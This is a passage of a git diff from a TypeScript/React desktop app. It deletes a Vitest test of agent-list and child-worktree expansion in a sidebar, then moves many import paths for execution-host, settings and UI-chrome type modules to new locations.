index) => ({ - index, - key: getItemKey ? getItemKey(index) : `row-${index}`, - start: index * 96 - })), - measureElement: vi.fn(), - scrollToIndex: vi.fn() - }) -})) - -vi.mock('@/hooks/useVirtualizedScrollAnchor', () => ({ - VIRTUALIZED_SCROLL_ANCHOR_RECORD_EVENT: 'orca:test-record-scroll-anchor', - useVirtualizedScrollAnchor: vi.fn() -})) - -vi.mock('../drag/project-header-drag', () => ({ - useRepoHeaderDrag: () => ({ - state: { draggingRepoId: null, dropIndicatorY: null }, - onHandlePointerDown: vi.fn() - }) -})) - -vi.mock('../drag/project-header-drag-contract', async (importOriginal) => ({ - ...(await importOriginal()), - isRepoHeaderActionTarget: () => false -})) - -vi.mock('@/components/ui/hover-card', () => ({ - HoverCard: ({ children }: { children: ReactNode }) => <>{children}, - HoverCardContent: ({ children }: { children: ReactNode }) => ( -
{children}
- ), - HoverCardTrigger: ({ children }: { children: ReactNode }) => <>{children} -})) - -vi.mock('@/components/ui/tooltip', () => ({ - Tooltip: ({ children }: { children: ReactNode }) => <>{children}, - TooltipContent: ({ children }: { children: ReactNode }) => <>{children}, - TooltipTrigger: ({ children }: { children: ReactNode }) => <>{children} -})) - -vi.mock('@/components/ui/dropdown-menu', () => ({ - DropdownMenu: ({ children }: { children: ReactNode }) => <>{children}, - DropdownMenuContent: ({ children }: { children: ReactNode }) =>
{children}
, - DropdownMenuItem: ({ children, onSelect }: { children: ReactNode; onSelect?: () => void }) => ( - - ), - DropdownMenuSeparator: () =>
, - DropdownMenuSub: ({ children }: { children: ReactNode }) => <>{children}, - DropdownMenuSubContent: ({ children }: { children: ReactNode }) =>
{children}
, - DropdownMenuSubTrigger: ({ children }: { children: ReactNode }) =>
{children}
, - DropdownMenuTrigger: ({ children }: { children: ReactNode }) => <>{children} -})) - -vi.mock('@/lib/workspace/activation/sidebar-worktree-activation', () => ({ - activateWorktreeFromSidebar: mockStore.activateWorktreeFromSidebar -})) - -vi.mock('@/lib/workspace/activation/worktree-activation', () => ({ - activateAndRevealWorktree: vi.fn() -})) - -vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({ - callRuntimeRpc: vi.fn() -})) - -vi.mock('../../workspace-card/activity/CacheTimer', () => ({ - default: () => null, - usePromptCacheCountdownStartedAt: () => null, - usePromptCacheCountdownForPane: () => null -})) - -vi.mock('../../workspace-actions/context-menu/WorktreeContextMenu', () => ({ - default: ({ children }: { children: ReactNode }) => <>{children}, - WORKTREE_CONTEXT_MENU_SCOPE_ATTR: 'data-orca-context-menu-scope', - WORKTREE_NATIVE_CONTEXT_MENU_ATTR: 'data-worktree-native-context-menu' -})) - -const TAB_ID = 'tabP' -const PANE_ROOT = `${TAB_ID}:aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa` -const PANE_CHILD = `${TAB_ID}:bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb` -const PANE_ROOT_2 = `${TAB_ID}:cccccccc-cccc-4ccc-8ccc-cccccccccccc` - -function makeRepo(): Repo { - return { - id: 'repo-1', - path: '/tmp/lineage-agent-coupling', - displayName: 'lineage-agent-coupling', - badgeColor: '#999999', - addedAt: 1 - } -} - -function makeWorktree(args: { - id: string - displayName: string - branch: string - sortOrder: number - instanceId: string -}): Worktree { - return { - id: args.id, - instanceId: args.instanceId, - repoId: 'repo-1', - path: `/tmp/lineage-agent-coupling/${args.id}`, - displayName: args.displayName, - branch: args.branch, - head: 'abc123', - isBare: false, - isMainWorktree: false, - comment: '', - linkedIssue: null, - linkedPR: null, - linkedLinearIssue: null, - isArchived: false, - isUnread: false, - isPinned: false, - sortOrder: args.sortOrder, - lastActivityAt: args.sortOrder - } -} - -function makeLineage(worktree: Worktree, parent: Worktree): WorktreeLineage { - return { - worktreeId: worktree.id, - worktreeInstanceId: worktree.instanceId!, - parentWorktreeId: parent.id, - parentWorktreeInstanceId: parent.instanceId!, - origin: 'orchestration', - capture: { source: 'orchestration-context', confidence: 'explicit' }, - createdAt: 1 - } -} - -function makeAgentEntry( - paneKey: string, - prompt: string, - orchestration?: AgentStatusOrchestrationContext -): AgentStatusEntry { - const now = Date.now() - return { - state: 'working', - prompt, - updatedAt: now, - stateStartedAt: now, - agentType: 'claude', - paneKey, - worktreeId: 'parent', - stateHistory: [], - ...(orchestration ? { orchestration } : {}) - } -} - -function makeParentTab(): TerminalTab { - return { - id: TAB_ID, - ptyId: null, - worktreeId: 'parent', - title: 'Parent Terminal', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } -} - -function setAgentLineageState(options: { - agentActivityDisplayMode: 'compact' | 'full' - secondRootAgent?: boolean - collapsedGroups?: Set -}): void { - const repo = makeRepo() - const parent = makeWorktree({ - id: 'parent', - instanceId: 'parent-instance', - displayName: 'lineage parent', - branch: 'parent-branch', - sortOrder: 20 - }) - const child = makeWorktree({ - id: 'child', - instanceId: 'child-instance', - displayName: 'lineage child', - branch: 'child-branch', - sortOrder: 10 - }) - let agentStatusByPaneKey: AcceptedAgentStatuses = acceptedAgentStatuses( - Object.entries({ - [PANE_ROOT]: makeAgentEntry(PANE_ROOT, 'PARENT_AGENT_PROMPT'), - [PANE_CHILD]: makeAgentEntry(PANE_CHILD, 'CHILD_AGENT_PROMPT', { - taskId: 't1', - dispatchId: 'd1', - parentPaneKey: PANE_ROOT - }) - }) - ) - if (options.secondRootAgent) { - agentStatusByPaneKey = agentStatusByPaneKey.replace([ - [PANE_ROOT_2, makeAgentEntry(PANE_ROOT_2, 'SECOND_ROOT_PROMPT')] - ]) - } - - mockStore.state = { - collapsedGroups: options.collapsedGroups ?? new Set(), - toggleCollapsedGroup: vi.fn((key: string) => { - // Replace the Set immutably so the list’s identity-keyed memo rebuilds render rows. - const set = new Set(mockStore.state.collapsedGroups as Set) - if (set.has(key)) { - set.delete(key) - } else { - set.add(key) - } - mockStore.state.collapsedGroups = set - }), - - activeModal: '', - activeView: 'terminal', - activeWorktreeId: null, - activeWorkspaceKey: null, - activeTabId: null, - activeTabType: null, - agentStatusEpoch: 0, - browserTabsByWorktree: {}, - clearPendingRevealWorktreeId: vi.fn(), - deleteStateByWorktreeId: {}, - detectedWorktreesByRepo: {}, - fetchFolderWorkspacePathStatus: vi.fn(), - fetchHostedReviewForBranch: vi.fn(), - fetchIssue: vi.fn(), - fetchLinearIssue: vi.fn(), - filterRepoIds: [], - folderWorkspaces: [], - folderWorkspacePathStatuses: {}, - getFolderWorkspacePathStatusCacheKey: (request: unknown) => JSON.stringify(request), - getFreshFolderWorkspacePathStatus: () => null, - gitConflictOperationByWorktree: {}, - groupBy: 'none', - hideDefaultBranchWorkspace: false, - hostedReviewCache: {}, - issueCache: {}, - linearIssueCache: {}, - linearStatus: null, - migrationUnsupportedByPtyId: {}, - openModal: mockStore.openModal, - openSettingsPage: vi.fn(), - openSettingsTarget: null, - openTaskPage: vi.fn(), - pendingRevealWorktree: null, - prCache: {}, - projectGroups: [], - ptyIdsByTabId: {}, - recordFeatureInteraction: vi.fn(), - suppressContextualTour: vi.fn(), - remoteBranchConflictByWorktreeId: {}, - reorderRepos: vi.fn(), - reportVisibleGitHubPRRefreshCandidates: vi.fn(), - setVisibleReviewCardWorktreeIds: mockStore.setVisibleReviewCardWorktreeIds, - repos: [repo], - - revealWorktreeInSidebar: vi.fn(), - runtimePaneTitlesByTabId: {}, - runtimeAgentOrchestrationByPaneKey: {}, - setFilterRepoIds: vi.fn(), - setHideDefaultBranchWorkspace: vi.fn(), - setRenamingWorktreeId: vi.fn(), - setShowSleepingWorkspaces: vi.fn(), - setSortBy: vi.fn(), - setWorktreesPinnedAndReveal: vi.fn(), - settings: null, - showSleepingWorkspaces: true, - sortBy: 'manual', - sortEpoch: 0, - sshConnectedGeneration: 0, - sshConnectionStates: new Map(), - sshTargetLabels: new Map(), - terminalLayoutsByTabId: {}, - updateRepo: vi.fn(), - updateWorktreeMeta: vi.fn(), - updateWorktreesMeta: vi.fn(), - workspaceHostScope: 'all', - workspacePortScan: null, - workspaceStatuses: [], - worktreeCardProperties: [ - 'status', - 'pr', - 'comment', - 'inline-agents' - ] satisfies WorktreeCardProperty[], - worktreeLineageById: { [child.id]: makeLineage(child, parent) }, - worktreesByRepo: { [repo.id]: [parent, child] }, - - agentActivityDisplayMode: options.agentActivityDisplayMode, - agentSendPopoverTargetMode: null, - acknowledgedAgentsByPaneKey: {}, - dropAgentStatus: vi.fn(), - sendPromptToSidebarAgentTarget: vi.fn(), - tabsByWorktree: { parent: [makeParentTab()] }, - unifiedTabsByWorktree: {}, - structuredChatSleptAtByPaneKey: {}, - paneForegroundAgentByPaneKey: {}, - agentStatusByPaneKey - } - const changes = Array.from(agentStatusByPaneKey, ([paneKey, current]) => ({ - paneKey, - previous: undefined, - current - })) - agentStatusByPaneKey.projection.prepare(useAppStore.getState(), changes)() - agentStatusByPaneKey.prepare()() -} - -const mountedRoots: Root[] = [] - -async function renderWorktreeList(): Promise<{ container: HTMLDivElement; root: Root }> { - const container = document.createElement('div') - document.body.appendChild(container) - const root = createRoot(container) - mountedRoots.push(root) - await act(async () => { - root.render( - - ) - }) - return { container, root } -} - -// The mock store is not reactive; fresh ref props bypass memo so changed groups rebuild render keys. -async function rerender(root: Root): Promise { - await act(async () => { - root.render( - - ) - }) -} - -function findButtonByAriaLabel(container: HTMLElement, pattern: RegExp): HTMLButtonElement | null { - return ( - [...container.querySelectorAll('button[aria-expanded]')].find((button) => - pattern.test(button.getAttribute('aria-label') ?? '') - ) ?? null - ) -} - -function childWorktreeChip(container: HTMLElement): HTMLButtonElement | null { - return findButtonByAriaLabel(container, /child workspace/i) -} - -function agentChildDisclosure(container: HTMLElement): HTMLButtonElement | null { - return findButtonByAriaLabel(container, /child agent/i) -} - -function compactAgentSummary(container: HTMLElement): HTMLButtonElement | null { - return ( - [...container.querySelectorAll('button.compact-agent-summary-button')][0] ?? - null - ) -} - -function childWorktreeCardPresent(container: HTMLElement): boolean { - return container.querySelector('[id="worktree-list-option-all%3A%7Cchild"]') !== null -} - -async function click(el: Element): Promise { - await act(async () => { - el.dispatchEvent(new MouseEvent('click', { bubbles: true })) - }) -} - -describe('WorktreeCard agent-list <-> child-worktrees expansion coupling', () => { - beforeAll(async () => { - WorktreeList = (await import('./WorktreeList')).default as WorktreeListComponent - }, 60_000) - - beforeEach(() => { - vi.clearAllMocks() - // Clear module-scoped expansion between tests because it intentionally survives remounts. - clearWorktreeAgentExpansionStateForTests() - }) - - afterEach(async () => { - await act(async () => { - for (const root of mountedRoots.splice(0)) { - root.unmount() - } - // Lazy markdown imports must finish before Vitest tears down the module environment. - await vi.dynamicImportSettled() - }) - document.body.innerHTML = '' - clearWorktreeAgentExpansionStateForTests() - }) - - it('[full mode] collapsing child worktrees preserves agent expansion', async () => { - setAgentLineageState({ agentActivityDisplayMode: 'full' }) - const { container, root } = await renderWorktreeList() - - await click(agentChildDisclosure(container)!) - expect(agentChildDisclosure(container)!.getAttribute('aria-expanded')).toBe('true') - - await click(childWorktreeChip(container)!) - expect(mockStore.state.toggleCollapsedGroup).toHaveBeenCalledWith('lineage:parent') - await rerender(root) - - expect(childWorktreeCardPresent(container)).toBe(false) - - expect(agentChildDisclosure(container)!.getAttribute('aria-expanded')).toBe('true') - expect(container.textContent).toContain('CHILD_AGENT_PROMPT') - }) - - it('[compact mode] toggling CHILD WORKTREES preserves the compact agent summary expansion (regression)', async () => { - setAgentLineageState({ agentActivityDisplayMode: 'compact', secondRootAgent: true }) - const { container, root } = await renderWorktreeList() - - const summary = compactAgentSummary(container) - expect(summary).not.toBeNull() - expect(summary!.getAttribute('aria-expanded')).toBe('false') - - await click(summary!) - expect(compactAgentSummary(container)!.getAttribute('aria-expanded')).toBe('true') - - await click(childWorktreeChip(container)!) - expect(mockStore.state.toggleCollapsedGroup).toHaveBeenCalledWith('lineage:parent') - await rerender(root) - - expect(childWorktreeCardPresent(container)).toBe(false) - expect(compactAgentSummary(container)!.getAttribute('aria-expanded')).toBe('true') - }) -}) diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.tsx b/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.tsx index f4a154c43ad..724844836ab 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.tsx @@ -15,7 +15,7 @@ import { openHeaderCreateComposer } from '../rows/header-create-workspace-target import { getRepoExecutionHostId, getSettingsFocusedExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getActiveSidebarWorkspaceId } from '../../../../../../shared/workspace/identity/workspace-scope' import { getPinnedWorktreeDisplayPolicy } from '../../../../../../shared/sidebar-list/row-types' import { diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/compute-visible-worktrees.ts b/src/renderer/src/components/sidebar/worktree-list/listing/compute-visible-worktrees.ts index 85d895af52e..c40f868b496 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/compute-visible-worktrees.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/compute-visible-worktrees.ts @@ -4,7 +4,10 @@ import type { TerminalTab } from '../../../../../../shared/workspace-layout/term import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types' import type { Worktree } from '../../../../../../shared/worktree/types' import { getWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' -import type { ExecutionHostId, ExecutionHostScope } from '../../../../../../shared/execution-host' +import type { + ExecutionHostId, + ExecutionHostScope +} from '../../../../../../shared/execution-host/execution-host' import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index' import { selectVisibleSidebarWorktrees } from '../../../../../../shared/sidebar-list/selection/visible-worktrees' import type { SidebarLineageParentIdentities } from '../../../../../../shared/sidebar-list/lineage/worktree-lineage-projection' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/desktop-workspace-row-facts.ts b/src/renderer/src/components/sidebar/worktree-list/listing/desktop-workspace-row-facts.ts index 9c22b7b0ffb..e75c88ba79c 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/desktop-workspace-row-facts.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/desktop-workspace-row-facts.ts @@ -2,7 +2,7 @@ import { isWorktreeRetiredByRemoval } from '../../../../../../shared/worktree/re import { getWorktreeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types' import type { WorkspaceRowFactReader } from '../../../../../../shared/workspace-view/workspace-row-filters' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/folder-path-status-routing.ts b/src/renderer/src/components/sidebar/worktree-list/listing/folder-path-status-routing.ts index f99e1c7786f..f922bd9a715 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/folder-path-status-routing.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/folder-path-status-routing.ts @@ -3,7 +3,7 @@ import { normalizeExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { FolderWorkspacePathStatusRequest } from '../../../../../../shared/folder-workspaces/folder-workspace-path-status' import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/host-status-test-fixtures.ts b/src/renderer/src/components/sidebar/worktree-list/listing/host-status-test-fixtures.ts index 4299e855219..526bc69d38c 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/host-status-test-fixtures.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/host-status-test-fixtures.ts @@ -2,7 +2,7 @@ import type { useVisibleSidebarWorktrees } from './use-visible-worktrees' import type { useSidebarSectionRows } from './use-section-rows' import { makeRepo, makeWorktree } from '../../../worktree-jump/worktree-jump-palette-test-fixtures' import type { Repo } from '../../../../../../shared/repository/repo-types' -import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store/index' import { createCompatibleRuntimeStatusResponse } from '@/runtime/rpc/testing/runtime-compatibility-test-fixture' import type { RuntimeHostStatusSnapshot } from '../../../../../../shared/remote-runtime/host-status/runtime-host-status' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/imported-worktrees-card-candidates.ts b/src/renderer/src/components/sidebar/worktree-list/listing/imported-worktrees-card-candidates.ts index 3bc592bb1a4..609451050a3 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/imported-worktrees-card-candidates.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/imported-worktrees-card-candidates.ts @@ -1,10 +1,10 @@ +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { - GlobalSettings, - WorktreeVisibilityDefaults -} from '../../../../../../shared/global-settings-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' + WorktreeVisibilityDefaults, + Repo +} from '../../../../../../shared/repository/repo-types' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getRepoOwnerWorktreeVisibilityDefaults } from '../../../../store/slices/worktrees/listing/worktree-visibility-defaults-by-host' -import type { Repo } from '../../../../../../shared/repository/repo-types' import type { DetectedWorktreeListResult, Worktree } from '../../../../../../shared/worktree/types' import { getHiddenExternalWorktrees as getHiddenImportedWorktrees } from '../../../../../../shared/worktree/visibility/external-worktree-inbox' import { isGitRepoKind } from '../../../../../../shared/repository/repo-kind' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/lineage-row-projection.ts b/src/renderer/src/components/sidebar/worktree-list/listing/lineage-row-projection.ts index 1372c510946..0c44d52ee3f 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/lineage-row-projection.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/lineage-row-projection.ts @@ -1,6 +1,6 @@ import { useAppStore } from '@/store' import { useMemo } from 'react' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getRenderRowKey, type RenderRow } from './render-row' import { composeWorktreeHostIdentity, diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/natural-worktree-keys.ts b/src/renderer/src/components/sidebar/worktree-list/listing/natural-worktree-keys.ts index 6587c476ba8..c1a3cdf9758 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/natural-worktree-keys.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/natural-worktree-keys.ts @@ -1,6 +1,6 @@ import { PINNED_GROUP_KEY } from '../../../../../../shared/sidebar-list/sections/group-keys' import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' type NaturalWorktreeKeyRow = { type: string } & Partial<{ sectionKey: string diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/new-external-worktrees-inbox-candidates.ts b/src/renderer/src/components/sidebar/worktree-list/listing/new-external-worktrees-inbox-candidates.ts index 337c86b8b2d..8f8b724cb79 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/new-external-worktrees-inbox-candidates.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/new-external-worktrees-inbox-candidates.ts @@ -1,10 +1,10 @@ +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { - GlobalSettings, - WorktreeVisibilityDefaults -} from '../../../../../../shared/global-settings-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' + WorktreeVisibilityDefaults, + Repo +} from '../../../../../../shared/repository/repo-types' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getRepoOwnerWorktreeVisibilityDefaults } from '../../../../store/slices/worktrees/listing/worktree-visibility-defaults-by-host' -import type { Repo } from '../../../../../../shared/repository/repo-types' import type { DetectedWorktreeListResult, Worktree } from '../../../../../../shared/worktree/types' import { getNewExternalWorktreeInboxWorktrees } from '../../../../../../shared/worktree/visibility/external-worktree-inbox' import { isGitRepoKind } from '../../../../../../shared/repository/repo-kind' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/rendered-sidebar-worktree-order.ts b/src/renderer/src/components/sidebar/worktree-list/listing/rendered-sidebar-worktree-order.ts index a247e5c5489..47a65f1fb89 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/rendered-sidebar-worktree-order.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/rendered-sidebar-worktree-order.ts @@ -10,7 +10,7 @@ import { ALL_EXECUTION_HOSTS_SCOPE, getLocalExecutionHostLabel, getSettingsFocusedExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getIndexedRepoMap } from '@/store/repos/repository-catalog-index' import { getIndexedWorktreeMap } from '@/store/slices/worktrees/listing/worktree-catalog-index' import { getProjectHostSetupProjectionFromState } from '@/store/projects/project-host-setup-selector' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/review-cache-inputs.ts b/src/renderer/src/components/sidebar/worktree-list/listing/review-cache-inputs.ts index 539e7669a80..a380f52825a 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/review-cache-inputs.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/review-cache-inputs.ts @@ -1,5 +1,5 @@ import type { AppState } from '@/store/types' -import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome-types' +import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { WorktreeGroupBy } from '../../../../../../shared/sidebar-list/row-types' import { selectFolderWorkspaces } from '@/store/workspaces/catalog/workspace-record-fields' import { selectDrawsNewWorktreeCards } from '@/store/appearance/worktree-card-style' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/sidebar-list-model.ts b/src/renderer/src/components/sidebar/worktree-list/listing/sidebar-list-model.ts index 7c94d48c88e..d9e76cbb241 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/sidebar-list-model.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/sidebar-list-model.ts @@ -1,10 +1,10 @@ import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' import type { ProjectGroupingModel } from '../../../../../../shared/sidebar-list/sections/project-section-grouping' import type { Repo } from '../../../../../../shared/repository/repo-types' -import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome-types' +import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { ImportedWorktreesCardCandidate, NewExternalWorktreesInboxCandidate, diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-collapsed-groups.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-collapsed-groups.ts index c820c67e7fd..ecae99868db 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/use-collapsed-groups.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-collapsed-groups.ts @@ -13,7 +13,7 @@ import type { import type { ProjectGroupingModel } from '../../../../../../shared/sidebar-list/sections/project-section-grouping' import { getFolderWorkspaceRevealGroupKeys } from '../navigation/folder-reveal' import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' // While the agent send picker targets a workspace, force open every section that hides it. export function useEffectiveCollapsedGroups(args: { diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-empty-project-placeholders.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-empty-project-placeholders.ts index ddd9bf3cc4a..35b772db36c 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/use-empty-project-placeholders.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-empty-project-placeholders.ts @@ -1,6 +1,6 @@ import { useMemo, useSyncExternalStore } from 'react' import { useAppStore } from '@/store/index' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { indexHiddenProjects } from '../../../../../../shared/project/catalog/hidden-projects' import type { Repo } from '../../../../../../shared/repository/repo-types' import { getEmptyProjectPlaceholderRepoIds } from '../../../../../../shared/sidebar-list/catalog/empty-project-placeholder-repos' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-external-worktree-cards.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-external-worktree-cards.ts index 77d00fe1704..c726cc0da0c 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/use-external-worktree-cards.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-external-worktree-cards.ts @@ -20,7 +20,7 @@ import { indexHiddenProjects, withoutHiddenFilterRepoIds } from '../../../../../../shared/project/catalog/hidden-projects' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' export function useSidebarExternalWorktreeCards(args: { repos: readonly Repo[] diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-filters.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-filters.ts index 1da5b8fca9d..d1a16915392 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/use-filters.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-filters.ts @@ -20,7 +20,7 @@ import { getWorktreeExecutionHostId, getSettingsFocusedExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { isAutomationGeneratedWorkspace, isCliCreatedWorkspace, diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-host-visible-scope.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-host-visible-scope.ts index ea9434d6ba6..009532eb24e 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/use-host-visible-scope.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-host-visible-scope.ts @@ -5,7 +5,7 @@ import type { Repo } from '../../../../../../shared/repository/repo-types' import { getRepoExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { SidebarWorktreeFilters } from './use-filters' import { filterFolderWorkspacesFromOtherDevices } from '../../../../../../shared/workspace-view/workspace-creator-visibility' import { diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-main-list-model.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-main-list-model.ts index c7d00a1e376..158e469017e 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/use-main-list-model.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-main-list-model.ts @@ -24,7 +24,7 @@ import { getLocalExecutionHostLabel, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getHostDisplayLabelOverrides } from '../../../../../../shared/execution-host/host-setting-overrides' import { EMPTY_SIDEBAR_FEED_DOMAINS } from '../../../../../../shared/sidebar-feed-client/sidebar-feed-snapshot' import { diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-order-hold.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-order-hold.ts index 9a68fe119ac..da21fb8a107 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/use-order-hold.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-order-hold.ts @@ -5,7 +5,7 @@ import { type SidebarFeedIndex } from '../../../../../../shared/sidebar-list/feed/sidebar-feed-index' import type { WorkspaceSortBy as SortBy } from '../../../../../../shared/workspace-view/workspace-row-sort' -import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome-types' +import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { mergeHeldOrder } from './held-order' const LIST_SELECTOR = '[data-worktree-sidebar-container]' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-section-rows.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-section-rows.ts index 0e6a21a55cf..89c714488b6 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/use-section-rows.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-section-rows.ts @@ -11,7 +11,7 @@ import type { Repo } from '../../../../../../shared/repository/repo-types' import { getLocalExecutionHostLabel, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getHostDisplayLabelOverrides } from '../../../../../../shared/execution-host/host-setting-overrides' import { planSidebarRows } from '../../../../../../shared/sidebar-list/sidebar-row-plan' import { createHostScopedRepoOf } from '../../../../../../shared/sidebar-list/feed/sidebar-feed-index' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees.ts b/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees.ts index aa258c10e61..06785ee9bf5 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees.ts +++ b/src/renderer/src/components/sidebar/worktree-list/listing/use-visible-worktrees.ts @@ -8,7 +8,7 @@ import { getAgentStatusEpochNow } from '@/lib/agent-status/evidence/agent-status import { createLiveAgentWorktreeIdsSelector } from '@/lib/workspace/activity/worktree-activity-state' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types' -import type { ExecutionHostId } from 